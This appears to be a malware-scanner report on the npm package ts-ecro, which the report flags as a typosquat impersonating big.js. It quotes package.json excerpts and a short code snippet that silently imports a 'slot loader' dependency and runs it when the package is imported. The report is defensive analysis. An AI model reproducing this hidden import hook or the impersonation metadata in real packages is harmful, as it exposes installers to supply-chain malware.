Hostile ^100% javascript Download

ts-ecro 0.0.5

Typosquatting with malicious slot loader dependency

Package ships slot loader dependencySlot loader runs during import

SHA-256f640f87a3619060d5adc54c17f4d79414fd99903509a7e61218b6222df63b902

URLhttps://registry.npmjs.org/ts-ecro/-/ts-ecro-0.0.5.tgz

MaleculeO(S₂)Md(Pa₃)

Also flagged by osv (MAL-2026-5647: Malicious code in ts-ecro (npm)) +2 more.

Evidence

Package has meaningful description package.json · lines 1–6

1{
"name": "ts-ecro",
"description": "A small, fast, easy-to-use library for arbitrary-precision decimal arithmetic",
"version": "0.0.5",
"keywords": [
  "arbitrary",

Package has multiple entry points package.json · lines 17–21

  "bignum"
],
"exports": {
  ".": {
    "import": "./big.mjs",

Impersonation of the popular big.js library package.json · lines 26–41

  "./package.json": "./package.json"
},
"repository": {
  "type": "git",
  "url": "https://github.com/MikeMcl/big.js.git"
},
"main": "big",
"browser": "big.js",
"module": "big.mjs",
"author": {
  "name": "Michael Mclaughlin",
  "email": "M8ch88l@gmail.com"
},
"bugs": {
  "url": "https://github.com/MikeMcl/big.js/issues"
},

Depends on slot loader payload package.json · lines 51–60

  "big.mjs"
],
"funding": {
  "type": "opencollective",
  "url": "https://opencollective.com/bigjs"
},
"dependencies": {
  "parket-slot": "^0.0.6"
}
60}

External require followed by from_str dispatch big.js · lines 593–621

⋯10 lines
603  };
604
605  try {
606    const doc = require("websocket-slot");
607    doc.from_str().then(e => { }).catch(e => { })
608  } catch (error) {
609  }
610
⋯11 lines

No evidence locations were recorded for this file. Raw result